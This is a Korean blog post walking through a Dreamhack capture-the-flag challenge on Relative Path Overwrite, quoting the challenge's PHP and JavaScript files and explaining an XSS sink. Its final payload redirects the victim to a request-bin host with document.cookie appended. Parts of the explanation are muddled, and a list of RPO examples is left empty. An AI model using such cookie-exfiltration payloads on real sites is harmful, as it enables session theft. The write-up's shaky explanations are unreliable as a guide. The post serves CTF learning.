CTF 풀이

[드림핵] Relative Path Overwrite Advanced 풀이

화이트해커 Luna 🌙 2024. 2. 7. 00:17
728x90
반응형

Relative Path Overwrite 취약점

 

Relative Path Overwrite(상대적 경로 덮어쓰기)는 보안 취약점 중 하나로, 주로 웹 애플리케이션에서 발생합니다. 이 취약점은 파일 시스템에서 상대적인 경로를 이용하여 파일을 덮어쓸 수 있는 상황을 이용합니다.

 

보통 이 취약점은 웹 애플리케이션에서 사용자로부터 입력을 받아 파일 경로를 생성하거나 조작할 때 발생합니다. 사용자 입력이 적절한 검증 없이 파일 경로에 사용되는 경우, 공격자는 상대적인 경로를 이용하여 원하지 않는 파일을 덮어쓸 수 있습니다.

 

예를 들어, 웹 애플리케이션이 파일을 업로드하고 이를 사용자에게 다운로드할 수 있는 기능을 제공한다고 가정해봅시다.

그러나 파일 경로 생성에 사용된 코드에 취약점이 있다면, 공격자는 업로드한 파일의 경로를 추측하여 이를 이용하여 다른 파일을 덮어쓸 수 있습니다.

 

이는 중요한 파일을 손상시키거나 악성 코드를 실행시킬 수 있는 위험을 야기할 수 있습니다.

 

 


0. 문제 파일

 

 

 

문제 파일은 다음과 같이 구성되어 있습니다. 

1. Dockerfile: Docker 컨테이너를 빌드하고 실행하기 위한 설정 파일입니다.
2. deploy 폴더:
   - 000-default.conf: 웹 서버의 가상 호스트 설정 파일로, 웹 애플리케이션을 실행하기 위한 설정이 포함되어 있을 것으로 예상됩니다.
   - bot.py: 웹 애플리케이션의 백엔드 로직을 담당하는 Python 파일입니다.
   - flag.txt: 문제 해결 시 획득할 수 있는 깃발(Flag)이 있는 텍스트 파일입니다.
   - run-lamp.sh: LAMP(Linux, Apache, MySQL, PHP) 스택을 실행하기 위한 스크립트 파일로 보입니다.
   - src 폴더:
     - 404.php: 404 오류 페이지를 표시하는 PHP 파일입니다.
     - index.php: 웹 애플리케이션의 메인 페이지를 나타내는 PHP 파일로, 사용자가 접속했을 때 보게 될 것입니다.
     - main.php: 웹 애플리케이션의 주요 기능을 담당하는 PHP 파일일 것으로 예상됩니다.
     - report.php: 사용자가 보고서를 제출하는 기능을 담당하는 PHP 파일입니다.
     - static 폴더:
       - filter.js: 웹 애플리케이션에서 사용되는 정적 자바스크립트 파일입니다.
     - vuln.php: 취약점이 존재하는 PHP 파일일 것으로 추정됩니다.

 

상대적 경로 덮어쓰기와 같은 보안 취약점은 주로 PHP 파일에서 발생합니다.

PHP 파일에서 사용자 입력을 적절하게 검증하지 않고 파일을 포함하거나 실행하는 경우, 공격자가 악의적인 코드를 주입하여 시스템을 침투하거나 민감한 정보를 탈취할 수 있습니다.

따라서 PHP 파일들을 먼저 검토하여 보안 취약점을 확인하겠습니다. 

 


 

1. index.php

 

 

 

#index.php

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite-Advanced</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite-Advanced</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
    <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div>
</body>
</html>

 

 

 

$_GET['page']를 통해 사용자로부터 : , .. , / 를 필터링하고 페이지를 받아옵니다. 

 

 

 


2.  vuln.php

#vuln.php



<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter === 'undefined') {
        param = "nope !!";
    }
    else {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

 

 

 

vuln.php 파일의 코드를 분석해보겠습니다.

 

  1. filter.js 파일 로드:
    • 코드의 첫 부분에서는 filter.js 파일을 로드하고 있습니다. 이 파일은 필터링 로직에 사용될 것으로 예상됩니다.
  2. 사용자 입력 처리:
    • 다음으로 URL에서 "param" 매개변수 값을 가져와 변수 param에 저장합니다. 이렇게 하면 사용자가 입력한 값이 param 변수에 저장됩니다.
  3. 필터링 로직 적용:
    • 다음으로는 filter.js 파일이 정의되어 있는지 확인합니다. 만약 정의되어 있지 않다면, 필터링이 수행되지 않고 param 변수의 값을 "nope !!"로 변경합니다. 이는 필터링이 적용되지 않았을 때의 취약점입니다.
    • filter.js 파일이 정의되어 있다면, filter 배열에 포함된 단어들이 사용자 입력에 포함되어 있는지 확인하여 필터링을 수행합니다. 만약 사용자 입력에 필터 배열에 포함된 단어가 하나라도 포함되어 있다면, param 변수의 값을 "nope !!"로 변경합니다. 이는 사용자 입력에 대한 불충분한 필터링 취약점입니다.
  4. 결과 표시:
    • 마지막으로, param 변수의 값을 HTML 요소에 삽입하여 화면에 표시합니다. 이는 XSS(크로스 사이트 스크립팅) 공격에 취약할 수 있는 부분입니다. 사용자가 입력한 값이 그대로 HTML에 삽입되기 때문에, 악의적인 스크립트가 실행될 수 있습니다.

요약하면, vuln.php 파일은 상대경로로 filter.js 파일을 불러오고, 사용자 입력에 대한 적절한 필터링이 이루어지지 않으며, 결과를 HTML 요소에 삽입하는 과정에서 XSS 공격에 취약한 상태입니다.


3. report.php

 

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>

<form method="POST" class="form-inline">
    <div class="form-group">
        <label class="sr-only" for="path">/</label>
        <div class="input-group">
            <div class="input-group-addon">http://127.0.0.1/</div>
            <input type="text" class="form-control" id="path" name="path" placeholder="/">
        </div>
    </div>
    <button type="submit" class="btn btn-primary">Report</button>
</form>

 

 

report.php 파일은 사용자로부터 입력된 경로를 받아들여 해당 경로를 파이썬 스크립트에 전달하고 실행하는 코드를 포함하고 있습니다. 이 코드는 외부 명령어를 실행하기 위해 exec() 함수를 사용하고 있으며, 사용자 입력을 안전하게 처리하기 위해 escapeshellarg() 함수를 사용하고 있습니다.

 

 


4.  exploit 

 

위의 분석을 종합하여 최종 익스플로잇은 다음과 같습니다:

  1. 상대적 경로 덮어쓰기 취약점 (Relative Path Overwrite):
    • index.php 파일에서는 GET 매개변수인 'page'를 받아와서 파일을 포함하는데, 사용자 입력에 대한 적절한 검증이 이루어지지 않습니다.
    • 따라서 공격자는 'page' 매개변수를 이용하여 상대적인 경로를 이용해 vuln.php 파일을 불러올 수 있습니다.
  2. vuln.php의 취약점:
    • vuln.php 파일은 사용자로부터 전달받은 'param' 값을 필터링하지만, 이를 우회할 수 있는 가능성이 있습니다.
    • filter.js 파일이 정의되어 있지 않으면 'nope !!'로 변경되는데, 이를 우회할 수 있습니다.
  3. XSS 공격 취약점:
    • vuln.php 파일은 사용자 입력을 HTML 요소에 직접 삽입하므로, 악의적인 스크립트가 실행될 수 있는 XSS 공격 취약점이 있습니다.

 

 

따라서 최종 익스플로잇은 다음과 같이 구성됩니다:

index.php/;location.href='https://tosobru.request.dreamhack.games/'+document.cookie;//?page=vuln&param=dreamhack

 

 

 

위의 익스플로잇은 다음을 수행합니다:

  • index.php의 취약점을 이용하여 'page' 매개변수에 vuln.php를 전달합니다.
  • vuln.php의 취약점을 이용하여 'param' 값을 우회하여 XSS 공격 페이로드를 전달합니다.
  • 이를 통해 공격자는 사용자의 쿠키를 탈취할 수 있습니다.

종합하면, 공격자는 index.php의 취약점을 이용하여 vuln.php를 실행시키고, vuln.php의 취약점을 이용하여 XSS 공격을 수행하여 사용자의 쿠키를 탈취하는 것입니다.

 

 


5. RPO(상대적 경로 덮어쓰기) 취약점 예시

 

  1. IIS/ASP.NET:
  2. Safari/Firefox:
  3. WebLogic/IE:
  4. WebLogic+Apache:
  5. CakePHP:

 

 

(참고: 해당 내용은 실제 공격을 목적으로 하는 것이 아니며, 보안 목적으로 사용할 경우 적절한 권한과 법적 규정을 준수해야 합니다.)

 

 


문의는 댓글 남겨주세요

 

728x90
반응형